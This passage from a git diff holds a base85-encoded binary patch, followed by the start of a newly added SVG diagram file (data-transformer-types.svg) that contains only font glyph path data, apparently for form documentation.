z_d0jz{u*f=S&yibLivY^4&A0?1aSLv?#Q2@8M)ceq4%g1>zBZDX9baXDOb&qt#PhT
zxf}5C(h*>)au+B6sVsXR|8%$)CpeUq-QQ03CTgm6{5f)M9T5;WAJ4Di4><&I2|`k|
z|K0v><DPvV;>D?lQ-rj+{qg#rsrPRyZvRH`LNOsFTybdWILTddY$exT6YjC)H2x5L
zc0ORy=yhPI2tVB$ZkIp62dIA$3XvQQlH&8>BFNqaLEB8~i@#bYfSM@)(R0zO0cels
zH&uIFd3l1AAZZZ}w@58neZr>-PEpqibzQYk>V_aRY+s1wWNpv4V|NJhrXIpi!TRYX
z07tkUb1XqX30m#HJ83*OP@$g6kXj$o-ITBXTwgnH{8qWV3=E~n87Od+zuc>zG7x+j
zfrj?zkBWkvF4bp24S+NJMg530r+jc^M8sEDb}H&qeehP-lMf+$PDVxsjVdoMSGC95
zc!~xwM(i;I%!M0$<YqMF+>2_UwIZH|9xq0gmI92H0FQq~-8Hx!JwOu~H-0Snhy+F{
zuUY&lC_ueKV5-6y`I|GM_#i!987@{~oo@3|GP*VPy%1)XdKX<)Xrwiz6BGIy6iZgZ
zY7p+NHULw<;!;C21J59P;7N{8P+r8UmKe{hrzHFk%xfTZvBbcW9SfP6(y?fn8_}M$
zvz2DB0`b`q_UY}DG^f2F`ql%<-S?5%d-I@{#8K+fr+Pei!FOidpda1IDUcFgA{4kc
z*8bp#!I&$taX&U$4_ZZ&1bK?^Krvz6Lk`*vz_@mlyLKiMSU$k<<m|}r^S=!GxGk*2
zm$l3ImdLq+;JU{8xf_5qzM)_*?;^dT8Z@%`PRMb}JxzZy&>vGJ@MPJ%mJ(S+?zLK=
z+}%^ov<6pzZLb(!6>*?Rnyk<Ey+0&%tmw*ksIbYyTgDn_hr%^lzqDJqlfUH$_j(8O
zbYvM=FqEQv%M+l`!l-j1V&c=0VgU;qWmyQL#C8(BUulcr<+W=FdKM#E=~AknxmkRF
zlN`V}>8dPCUnNGKYN)FA5@qfglo;zh$6bB7_(dC-uQTJ4zl}%hfJsV3EF$4vJ$TAX
zf|6jtZsEP9EZd^>nxO|mwh|3Y7M->U<ZPpxm#KMjh5##q4k6IFmnH%O?)h9yRrhXK
z)h`Z<+>F~yzxp4b+H8$1Eqe<J_8Jqxg>J)9&>1zGfWTpRndA$53|GtR7djO117b1+
zJQ}gTzi$(E%+fK>70N8g2ii6PKhQu`YdfRP=8@>?n^SMlq>g?BfJ!^gKzAkL<cJD3
z|3{YIF`=9Ld41x%O|5RE>+`Lx4A?$TEB9y#FKKq@>tFGxAetZ(IKP8zV67x@#`Vd{
zyh79Z3Ou{t%TI81+b$q33$>K*)ACdpll;B;Ku@iL`)Pt^Z|)t(MubQ_SSW`WVy>4f
zE;U3_jo_4Nq&()3mY#DJvFV*tf@2GK4^0aUTs6S_N3MVw`v;jIiya_FI8zvYlZ*V&
zCJ~2*C#njj{rO95T+sXi@NE|^IxHoAiKb)sqzBwyVrrV*%U*>+5Vx2?0!gwaYpLvS
z46PiYLwOl<n&6w$YGsg%!FilAU|w&`fKZHBmeN$lp!;Nh?v=`giYpBNauXJLb9J6D
zhP9fL`q2gluXvC%q7Sklr2W$k*mws2oXz`{f@0A)P8hH2jh;RY^SoF|8V$gzcu7Hz
z_Zq^nxTjdb_$dI_GQD-maQ>`y{pgIMV_v8Df-{VKFxKA|g}ZJazEjx+)8?E1X0k%D
zF`A1^SsCLo2H6B#95&uEJD<~3)!jegWt4ySN`NP>)_`AHH`u)A<iHI`^!60gHz9W$
z6WqN*iDx#!Bf8*;IDOXN%q#5gmwXq!WKauD*l$q&Dyr?GjnuE`&|-}rO#T@uXg9s$
zy|E@Yb;M(I7g<^V#N1;%Z{VFV0{l_IW2rQ`Me&jdK7J?Th)~wAH6MXM492{~8o8=o
zJ#_wM)ffL1UJS7IM5+scroG0!mZGkxyKaia$GHofJo`bkcwuOgwn{(jKA2;C`)fmb
ziEIw7WB~E&Wdhh;tXGKISims8L4`a~Ir_blB=q9CC%|q@WdJ5xKvt|<5EmX6Gw&@<
z{u@^pF|S*}$NTA#POfgJs$8WUoX7s!GqcA{aP?e}m(*Aj1Diz_{dE}z_ZKlxc0g5<
z9&a7;8%Kx;DR;?Vqklf1{U(1PM;-#%!kM8<LR&p0=!$c;;*&rOmmOlBx1`QY)~#st
z^{au=%(mez^6gKPFnEEFqgU%}CT#tabPNr8Y*dzfO<!}?zV#t+l|v@AFT?^}%hnQu
z6e$gs;~wV08BhOAd_uzLi{+oOp+t@X8Z7AG!9x>zanRk_SpeLhM(aP=R)5?v9?euF
z5C-me3GwmSPvqq_o(8c6B9QyFKh%cb_$CEV4B<rn@`os#zo4IQS>HMn=<f^Kze~7y
z7J;sjqXOpqBgFf6v6b6TGpz^yXO;64QIm<EcXl{!RMUr1wwD<?wRE8Fm;Gc#&Q!To
zD6ox+D>N+6d?EvjV>gxUf0t5hKjhj%|8|4W8^aqvUF;(>ufLuVto;MqaErp7m}skq
zl~Y)$Yma!@{B!4Ii<kc}tlTj7iqPh&BW`c~nkOE-N&~w#Iz}<N3tHmyfZo>@WS<(;
z0K*OqII(ipP?Lq;%mwk<DlZ6}8X;|QI;P$DV?PKJqIuoZX#T-?RnwlHCz=PVP2xDx
z!uSFP$R#y-y!-WZP03X48<_oEQ~j%mNHprC7)B}=7dE#2M~=5{(#RYwcxv9!ON?&_
zBZX_J{XnK0Xa9X9Vb-n07dm14);lSk#eiOq4?x4Re6--<psW73P+L3OBuN`U)&>Gh
zE}*7O)9Ag`X%z?~KKY+}4>kOmDHYBEftnyX$cyQ}|2P!dg5T28GW#sIc>&3I+xlZr
z*<#*zP#Rf0vONUojc?xo#g0c{0lU@04h#wowu4xsDi`7(`6kEUY5?1tf#%so8$Mhd
zzll!=A!dZjukp*>I2Dky=Q6E$(?mbd4!5_r*A5ol#_l>=-Up|i85F)Rl`6H#1NcE6
z7uFcyobIk`o=kg2?r(Wcg~3ebMuq<EVfXF;`kuZi22f9!<4R8$XC{^s^=?0o*JJN!
z4%-==_*D-yM}CCIac%S{di(+4OYsq$F`{c7b@RW1HJb|F3z+u{xEM5{AXVL~R^Lt%
zW0#-&R$UL(kKn@Bs_OvED+Cz45=e-nrmweV>TtHxrrb*k%vQiNVlb+yz3OgGF>Q~&
z7h0Nx`=Xp#g?m9_UqG19jFti+-XurrK?F?n=@$L+$SPQ>y`B1i_LF3KR&*|suBEh`
zen8l>uddA9i+rCMBNe+#G5DmN&4EMwnOL>dsL?Qj(z-&L!~N>~0LzT$Kr9)%E19^0
z*Y!P)g<b8h_ldY2(fK_6CneUCzVpd!?()V|u{|vNCyP0cV}9X50NZ^hY=s*0AcHE*
z?ppxkI!4))66<jrQFrCNFH3JF!v&Z*>83X)#yV=~YJ|(A0{D=NB(mE(DjFKIA!3ql
zC8qU5e}jto@dnu~Z<$9=54a{^N8SYA<fFkxvYyEtOD9|8*D-zL+Y;#fJ$I-<*Wmdl
z-}ItK);6T?(rXlEa*q208E%s+j_O#C$NH=K=ADhs$0Az$FO$OJ)X%r$S|Fi*ZiS|2
zYza8}MGMmsLWtTIui;wN;hzehz)KGaj&-EbrS-2?J)J#NjQ)TXMw93-j46yuYc#g4
zUZmBPL+H?+6IpDP*xx^3bZ2nDVYcq{qahE*Gi>`FhnSbY%c29e2(!>!$V^f^_r2D?
zMn$pQ6-pt!M>EmvK$PJ6!FB$vp9OwIW?5c#4h-6OGE<Y)qW4`*t)-0rbXsh$7$hwE
zgeBqgZjHS{NazxXK6+fOUm1o-+6=m!Gsz3kqBQ?5jq^2LJc4pCXU%aXC*_M>p^cg{
z23TY^if9a39JpzI)+Ve91-)`&(;+XU#~5XbR!mj(9aRrI3nFAL7y1k=eDvl%QwG}T
z8Jc@qfRhzfss@@WtQPHj!HbQ@$>glTc?qbe=P$ocNw<va9h5Be(dBZk=jGX&eyhFc
zSZy9F<R0Q>XPCMf=qK?@Ip~GqK4j6h*~Fjh?fX6<>_7a`rsj>=<n8ckf;Ti(tM<}S
zDsN;iLe-2EPvxI}nkz9%J}Y2b&;OHK5nZiXCd?weaoA)-uzGXU!w&06(O9IYSuSBQ
z4+)s$Mm;v#2u=<T1^DB2^hE{8U!+FxvFC?(-60|;?)=5x&vv}5uH=n%PhIV0+A<H9
z3&!~$IrU~nDL;1V%h%==6cpSTTwxeIx7)1a{#lAEZFZ%y!?3w2biiKiXHb%dJWGsZ
zqj$jW?^dfAXd%#t>9PL?h0aON*TK0p@(Clx%l%X1UQZ3hgm)ZF8-YEgE&Hp$b$!Ju
z`N{8x!Q0FdfN+H9YmNP5s}kl=@|biw203T(CrfkMBs~K6lw@z5kFWT-qDB2H@lfI&
z+P=pOQ|BMvE4UVww(iZ1s;w4Zj_<po#af(iRQnEXm|fmbaopTobgvXjZN}ebDrPrq
zOt2OWl604omUrX=5d<T8AbEaxVUR?oPsNsgS#FvXY=3ul_Kg=OV7Rt8Fu&%cFe35j
zs<zeasj)0odc<gWVWb@*DUqba#I!<3p-6jS2N^bw4t7h+EV$~Q6`xe`m59Je7n8S5
z5f#2Ow6%7f8w<~13;402zSqvXwYT>Uo3#@If?!P@;gr5{7bItf4YSYtZl{YK9rj7`
z4<vq_5YOo6Hj#lCXp$md&%EG%wXSEj-|F}1JguETJ&RwA2A#VCI;YfpIJ?Z?5#|}H
zi!QN%N1~C%vI_@5NeRQl@#*(Z{TTA6@;kp)_t}_SiV%Kzl4p_ig|ggv0y$p8s{F$I
z^@_Nk)787SiX<HFO49}xJjr8eUuKM)Uz&G(hvJ_v-`NfbOvH0jLPpOgzdkW~N63$w
zz^908$Zoj4(GG_Rue0IVa5JF)Vt0j%ofyrtgKN^iQ6|_8<f3r}X7bA7s@@_Neku+8
z*h??l|C8Sk6)M8@MrDhDiH6Mj9{suP%!Z82Y}&_3<8sfh6cXcp<%iWcNv4t>>f+pM
zpbLXq_E+JoSC_oA^ym908U_HMpE^ltjSpYxt(FBR#s`)kF}V4PtmnnYj#)y9WoD~X
zeq1bMG@Cra7`U-sp3p)!3>lP@W_sv@mZQX%?c6<G<l^JG`BSxelgQbeU$EM(8Qx2U
z(PV&oUz*m>^7J&~AbGLcq=R9i<*M}!v5EUGf;h5sfaS{CKh!%zRY$Qrh@rh;v9bno
z++3vL*j-rIQ{1eY7N`5qu%JMSp$AtAIt;E0h>UW;V0;VyI@A!SLiQ6U2;(<qI(iD}
zh%%wtaM|OR=Tqq<V+|J!6iT56(JgBYy+(FYn-E?6(}kYwqb$j<Z~2|Oax35UWVlW}
z=-4r<Ty4&ij+(AIrEK5G^0X<6-X3+hx(A){=;Ys;YRvQzZ?2y$j8hOty}V=4@RpfK
zLpFoip|A4pNtC%c0;-aFA+yQt5ysIofq8T+I8K5G7!=exalHLqce#Ttd7$3;v(QXJ
zulm&-^^OHUB9Q%S%Qx?h<H(clvu=a@X@QMnixl59G2dV5dJ%s_P2l^(pabN-+Ky_(
zwi>ORQ*IsoJ~S(RP#L)=|7=HC<T20Nv%Z(-7MmcK7J$UNRF2WZ!Pt<(kda3xH5=_1
z@v?>@K>O}DPKbn*Sb@<|<NbSg>F!VNelhM{>)Q0Cx{`b?u+jIZ;4{OUum~w~(pj#R
z_WJ7->Lw|#t-mCvKSBcRuN2NVSiI=d(-*!5PDX>=#B0kxOhtp}#jA4v^x?r<R}7*b
z@h5GUV`?AP`dfT}-l37y_|7Nd*1%F<cJmW#z~tOFRmH-UOBNDe{*@$C|NZ&e+|rZ2
zB!`j4FBX<559djPxCK$hc)UI}i$BL?^iHs8A0-X$oO`Zr&%bKsaL`-5<7+%mk;+@X
zPr;J6Gw3+q`VkQ#%wE!B@~e+l9PBJ8B!u*}Ne^_gGIwP=KlX=&-(e5?5UcWBA2D~4
zQ7V!zat##|T?q{3MaLFcbxg04>N1_RT<fhh>@-R<nDgZK`kY*Ino=xsj?b(DozYP1
zl(+lRWqfZnm(iqAqp#ulA80M?ik|l2({no=(gouJbD`h$(s!3e`7LZp>X*Z&)mNha
zd2sn4_wyZ8@>9ufH3p!<7XHr#unfeZ0XF;eX`ex8<N5qWR-zVmc-UZ?JSmb1GxvIL
zcb!^9+CZ#BB-<|wzTZIQz1+}u&zv%Gua<u9_{Rl48Aq9EaG;Ejlv`&JNl6!x;`zp3
zEhzPJpLP(;e92(*B2QYz+N0UlsWoY?Z4>b*jsxI2V37j7YHtR|;sy0sp9Pn>&|8o*
zdH9D%=iR$!Ve*vCGJII@q=bwTBf}{#MbsveO4qiq@Sa57M6m4D*T-501U>qgcY_u5
zdGmtb<pxi-Zi_dpY%QUGD)d%}%DSuXQ{#OF-{Z2gJH#@I+5hV6%X|r^Rcj^u^OchX
zTgvA{AVJDfNn45y`M)znPWIa15odwPN*|KB{Rff}JvmxWdP;5diB4uDpLQ}CK(Yjn
za~jKm|IDiw%}RU^s$MmhNmI1C*VzZIvRL)nyy`7vj%~}?W2n2{|4a|tskXihGH`Hr
zMDj-HNBS)k_2JpB<h<a$TE@y8Kd18IY5f~_ept4WHf?_yl}wqE#Sw8gdJ#2803sxh
zp$ocWVi<RW95DESLwxU?h4|~D;C_kuW+Jr7?Qd)z(1RS0#65b|a)>7fI+OjeFNMPu
zxmHY;;2`384&_suYCZ|%2*ncTfsmw%R-R?iCy`gQXQjaADlbxQTcll{znt+ka>!y_
z%+uQV8&4<W1sOWqTTpbhI}&rKFS&RAB02<#I$#5#p%aS$MWcR06}y1Ids6Z`G+02A
zh{Sk&Snio(Cfad}04HBJFi2u>^^Af)4qXtgCCMLq*O8*7TlhTBFXgS8@t~(%Lhr>L
zZb&ptLsGzDtA6Rx3s+;9OohW}VJ!p9?LBg@BH!J2F^`)&=tz5MZQs;4OovOv)=jBZ
zE(#;D>2rA}wWi@Su2+N#sN<Lc3!@BHX;rT#Epl5>Dpx(Z0_TMhfxECJcB2yd>ne<3
z@*tH4(*890GPB!mt0@^#XP3_WO}ANHR*5XHDnEBi^rG<8))?>iU0pgj6!KQaW}?35
zXD}HWiL-@<mF}2aT$x!lol;zx=B`1Tc9OH-Ga;4wM*U3#<L_!HW>6~^L|#zYTe_rZ
zEY|zixgJNWUt<lKy*cdB#hB|xtfgcCtTxD-MZUsk5d|ltBx87gw2!A@JR`9^8BUfU
z@v-DZ^_=MsnGuGf@CO!}Vj^DG7LA%gBX+(Q;AJ>I=wqe1T@g*f{DtSzI{w>Sw-#)u
za|QIHLrAoD%{pB5_A+0XQ8Oe3r6UJj5e=5zu~a(@<hNu0(cbRKEVp5q6^;AKBti$*
z%bA(dKi%Z9W>0b&>4*V{C$a+@oB2vKhQDKWg@lAWF0~SCc^92yUwN!{C;H8$cdzo@
zHI0r3oE||i^|in8DyeEOM^dHiY9)U^TwlX85j)R%a77b}TA}zL0#q!m{iR9I2luN5
zf-Y6*OB*NF<U28ea`=I-VvZ>Nu^;`+>@UNU+hBNTZjYH0ZCP*rhO4PyPQ&fXY^CSH
zvECcvq)~}%BLn-(W2lVXCU~FqT8H~rvsbR^;vINcr#C^@pDu7fT6}lST^BpZgk3Tu
zdp%}jPh|3Qvb^&1d>it4(j^O5=jOGeE?5;WaC$^yw`NXDUlr=TiR%9lIOQZ!G_@mM
z@c5d+pe=*U<NE=KLNzQ6)0ThW)Rw?Jy6N4x+M6c{w|6lfW+Cfc+7|>WKG$;l`xEwc
z+7Sf7y+>7UiOD=^`z#v#glk$6YJPI>-kU4Hc&@l6l5*z+kaWc~>%;gO2q0#B@F`ac
zyU1qnOvm=rSx+yes)xcCX&@MnTZ(v};qj|+3*INVSA;lx!Ew>gf3nqYFk)dcW^Y24
z-Pxn_F;UU!e0jc5HA}y+ZJ>E3!D+4=0{OybW1N|lRr;wwTa2+mmIHf|gp@RLJ3D4W
zT>-(iyv$%?f1;q@lg~?g!>iL628>(S$E%>N6_kG3A3kq5WDcsPJ)p;<l!I#`r>jVj
zW8TT^*2eEM#rKZ{MjPg>rY`ca2Sx#wf;DzyG?Y^tcx1MPystChC0*?7?b7sdFIVdR
zZ|4e+KgiCOWZZ7G1NI2|baWNCC`2>&5=&V@VMN}r0QWZpUNV|5`iHhl4Iq!6c5Ml4
z)1)qckD;<;9?YfLOQqMcBzC*5eT>nWj(8-xRD;jZsDnR`%gI7@6b)50lAB{9rmK{e
zvIshkl+QBp>h#k2h7=?>#4S#C2UbSbSQ;OaMg7e-@>p|&y+$6cou67%zdgWlTTP!n
zpR}%ao|5?xO)%9{^VH^Y{yVbHZt7E*c)=_Md%NBt>jf$A#-^tI<4z~!%LZztL(T(V
z*b#8x`OI<wG|$SoslRZ!Lgg5%$&@=_E);Q-57r4$;OGLDxA2h=?KhS~g>56pIjbNT
z_nvf{Z!d2`6qy01s(B^L@22r*JL?_4=06NNn}}-&H&wei`$?!7hlk6AvD!HDI3LlK
z_*r%@QjGZ96;-cJD*lkzN*e7Qzuz-EU;VzN#?SitY)W5YLQAK+p!cM7fJi5m-tKhg
zxI=+EpH*s&K>2X8PR+vgw%E0B7M@q-;+kPMpFO*Klcy{D)Pprs8)7{;zUFZ8#s2pb
z?t35AzQegRrD;MSL&Z08H#av_vQPHdd8YiCe=kI1W5L@9CU94=E+5Sc;mfj6=9oC<
zPhKhQNJ}IQj@ArWb6oF0=dWwSj!woKn^vvuu2V%4!r1N7ONMtJkG|<u)nHUL-7t8_
z!^&??p)b*ro<q-YBc+Vi#qg6Xu6o*K=$FKy@+Bl(?P|-vhF<hqnVY2A*j2Yy@|1Tc
z^+x%SO|t_g#HvO^i(uB6)Ogcs(N}9qkw>7q<L~zrj*CItD?@`(CK>P<E&H4^An7@e
znkz3op1S}#Ot$HZK(8ZiID6KMIeccu%=ODqi{H>sd+zUQE*-YCjLX2IO+{(yfKC1B
zp(ga%ju|<&<A|eg;73*LMBT8$j2*S8X}2XDhj%2`HBTs_FNKlkowL#Tv(E@P2FBv%
zKEYa_C;eL8*~$~Kv$gqoUfgOnv>{sJw^T5jGP0XMP({$<>w&d9p8+J(2INn>k)wly
zS|LBCBV@+V%s=-&vwet0q?g(yg#CArZn?;NnN?94qm${a#@Qz*nq<R)pZ)x1j&Um@
zQ)#LfcafOni=Gkn26Y5eOfoG;(<>=G9%fYu=^7_`Xv~l5s^jN%-8DDG!fmJS7gpSn
zS$?NCZ$48iLQ;;!uC$V#?idac6zQ83)i)VK*>A7p2mF??om`HHqHlD9^-4-6eX2#9
zlrS#vAcoupMn?4(M9fzYZw}=J7WlE?=mev$*=(!}wi$&mb<pTatj%nrBM+(0Mg^Oz
zOOCfV`&FVc!ek1t;@KtwQjbT$5$W$`Q>A)JjUqJC#$4{5tAxvVjRA6L3wGw(hzt#$
zlFFISSY|pf)D+y8KYF~D+|EXEP1R{*YhxbUG}m9UhMZwa{y{$~da>)Or~owO5*Tu0
z{m1?N+nfx1jeIl0_dhl5(05fvQ`7pR1zC889jj-spyS~FZ1QRtMq+JtU({+Jv1=+_
zfl(vqCb47j%kj`NO*=KKD!D57v+e10YdkH)!we}MyGlt&9=7Hj{{8c(*};6XfP%x5
z#JX`JUrjaM>9`{#rv_qZhRcJ@?d@#s)R@deg=y82jOFLhAbF0}5t{o~HuZ6zxMW(s
z4&&?}r*j({-Y|jVIc~pZeGDjI%Ukv6Lsxj7peTw5yi<nWUuoW3mR<rqnzlvz@H(Io
z_h-JvI{~P^{lxdx&AGRY`jza=PMWv5_WH1psh{)xRjGgKV_j41|FCK_s~Fx1zC=W{
z50#SY=`=nVu6r7laej^|Q61Y@@$z$eZGH%M)v68cC~_lkM|Xf)q%iS}co^zZ%XJfd
zcyeSgB*Z105Z8UA{ISSk?_OpOw{Thn!xpG!U#%;V_-ZkdGWplnFOYDyXDp0MhoCa#
z7p82Nsz05u7H)C$kbPAQQ~Y0?5d)IRUDnwxje{mFGU=PsPOfv(2dkfC)n=7sb6v<5
zAG|Eemk#{i8-I*-OhVX06(VqHcqi?>mf6I{#qd!v@1vyKhN8nBmniv#FYmiWLTyv0
z=W{huRLVH+-(Yw{`>`DEaoVZ)0(87zE2ukN2?2HLF*M6c&9jNP;AciB^JUI<d8bGH
zxcB<RSgyVm<my}Xr1;z%OZExByC_{tU9lj4m@2F8F1wH+A9~6Xq+Z85*TPn|AJ+7D
z6s5y%IPZ_W2=Ymhad`HJJ%yx5tT#m;P+-6S_v5QeP%$y#F7Wqu65Qob8wx|SJ}O0q
z!~1vR-3*PBZ30EuJ_X?Yv}b*dE$zm`y7j~b3#R(cQ)DF|@QCX_5eO#4-tgD`I+sUW
z-aAv(Yh)Tq%%5?O!)#>f`2ywCWc?F3SpB;mI<v?4FbOYBKNiEhKkNHpE(Ub~id2Pv
za7}0iB{5ygwAc`orFgPgQ)-PjY_jO*A_Ti0Jm{Rco$gtB*;<J*dF&@M+An{BZ#9Mc
z3tt~5J6IKp_^hS5=`$}ipjlIt86>>y5$t=8V72Z3=FIHRW*O^)Zp&lS^<8Rd+`ULh
z_rH#M@!_&Xk<Bu$g?G#|KyITJGZXDK=bQ1q{p6u*Y!h)z3QHpRCxY>Zxs&D!MtFH&
zqFb7Cd;iKi#K+|Tp&h_686{Xwu4YT@EhI>YJ)Q<8(e~w#SW<T~Jp6_z$Nmioc7#ya
zNXt%;(ZJ&Bt#<5Ml~M+2+c>5`7y!O44|nZK7f!pYprl`<??m~YQP}UV&FMZNuI#T{
z98x8>Vs(B`yt^IJ(*!;5U*3LK-V4`HUJ>=3Wn@(o1h+n;fnXQAk%gTSO{pgf*og0P
z_s#wc7}myoopFwd^;HybPTBA%%Up8;_bczinc>M5B)3>*-IFph{KUuLoLd(q`%(Yn
z<!_GekJfA!l4F3eb9-l1aG~aJy91k6Z4-3vppzYZh_jmM4$0Q3uxV2sPPZe6`h0h?
z(bPAVbR<+n-Nn@Qud$kqatC{Z0@I_#P=*^Cb!$YZ`v&I2;nuecIE>#qpQAx@vWYD7
zO03?W0&(ZB+w&jc_uZ6Dbm&585q!{p#=@DA^lQ~tx3q|<*N^<?S?TjFK1ib(ZTsu&
z3xiz$#pOYNOEzV6ASHS1U*c(j0K$d6>2e!j)p?@lIckYXqeKA)<S8N;(#~^#c0W4h
zu9=9(;W8f0xff}zYCuwTLe-Sa>GcODZxRit51Le!<+qY{yopt;_#3}AP?N{2O#d2t
z@5Z)P>sg$-rR;x@j+jtcM2=wN{JLq$29UMP(}})acyHQ-2EzrcC^MSa2?67`0dR9A
z9Yilnfs=vZLQFFbag^f>e9lD2&1Cf5#=w7Yn+I?*+*bG3*Oj$nb}c|YqP17I^kwkf
zkoi>)t|je7UyC1`xA_FbvHgiiKu^t`L@uNFvFsPuv_Q;}6(Uk&?yRS>^%JZlJIsF~
zrEh3+vB?A4H&^q5wIeO3eV}+vblQ1in8Hb}#n@HCx3V*3fCb$M2$f*DxAj=(2)ySm
z0f`L+ttO`fQfDK*s_S~3CgQ@VB+VHAN5BOqkL{R9tght^@^ZieXzbUpiRg~$WuJa6
z1@fGMmeixcc&+YvrAoZ>H`Fsn+88w#=$J9r3qXoh+;#WX*TGr)qvh-yEr`B&dZwsN
zRZ=1+&?r4vph5ShG|7yMcDz4Q<(&_!$UWN_wrvM#A(|{ywEIlvutUYM%N2WuFN?ya
zuR+2aRe=~$#b;SEFFC-!u8fzMh*X$gV`u&4F|J625f^&1>6O<^r$%F!u%Qc*{v=id
z2bb$8%&Q_rC57A5={FHxC!5ux+}s-WNSDD;>Hhr(qLwUJaLh8AkxIM?1$ZPeaS%xx
z*BKcg^!%z`WOcEev0CSrh|=Fn{?;}sFWE?$EP;ZR$PvGziWjme%Fo98eia%N8O!6g
z4uYCXS1TZmCI<!^IaRTcne4SBN#4@ByeeNMVO)>TL|fLee27u=r%ijBU87xYp9!ch
zN+n%4M;7^Ax1?iYpvf(ZRl;6ws!tOllBFH*Ki1tCrXlB(Mz>q#h9$nuR;-V(l^7!`
z)#ewfIvgu8X}#{2xjDG_Zq}F$T0H)|{<Q>G#%Rfat>>@8pug;y2p}6;jouD2LL8ZY
z<E%b)viwf!2+VzH*yMIbKw7G~UZHM16TKOnB)!#TcNyUF$&vmGg0wd)0`Y#&*t|nV
zmH(nBqZm}e>#_~DA-5fRZ`^%L6}3X@n2!aXPxW7wkmhU}L`M?i?vqIRUY);E-#J`5
zKUfk;mG&{-n`Y0{YU<y~BalhvMpt=Xc;_v=5=Ecm1U7atTN>QWCy=wFOLUdbe#PhB
z9)uUw=&~_{?t{G*92z?Q{aMBnZa=@<LtkHCrhRfv1rSxCcB2%3VNOm?B57g3gs?t(
zv|;_^NjtyLPFIOx`OE3}M>@nT^4dl0|I1`S;k<l|gmfJrydVtu?xYKoe)4|u4C<5f
zQL72}iH}9idyS4vA*P6NEO<-jqkmAtw*=@u?_W)-wn`l^Z(471lDRj4l>B>r!uT?>
za84-Te*Z+$v@=4sp&^Phpa0`7U}bi-(XKU57X%pqxZ^$s#wo_LJD-?$T}mUQt_>l~
zDW1)6ODWa}fD34o_lKI`EmH(C?{7O?yR_xKnT3kXMWSAA+qjeuAj0LLe3U*P;dNUy
z;4IYb&R>O&H_-t%e8qddeMa<JSOa8Y1D>-1H=fG@d2eJ<F=s8qC<pEMcfgAp)b{qD
z4?+);JsI)k-+xito&tEWYv@i0CH&7tkkHKt!~6#-MNu*2e6*m+uT-J~tpEIrf>6N)
zX-u$#|JTP-03f$)oNu9O|6W0*)p=w8ua>P*?dUHE0oB#N-Fb+1K?r8=zdrsw0P%zt
zBkXwoy@Ce9*hAWXn)^>@z5?7&$mr9s>HqW%j<ziL-`$YKU_-5>3XHt^|LL17`cK<`
zTLew3qhwmvSehRI4gPOWFk%M(yBmOQj|6Oc4}R(@INJQ%Juo2ubMOB*ATg*F@_z&J
d|9^$tFo+;iBY*8`D4~Hr6-7;j?@ufP{vW?erG@|i

diff --git a/_images/form/data-transformer-types.svg b/_images/form/data-transformer-types.svg
new file mode 100644
index 00000000000..9393b224f89
--- /dev/null
+++ b/_images/form/data-transformer-types.svg
@@ -0,0 +1,178 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="404pt" height="312pt" viewBox="0 0 404 312" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 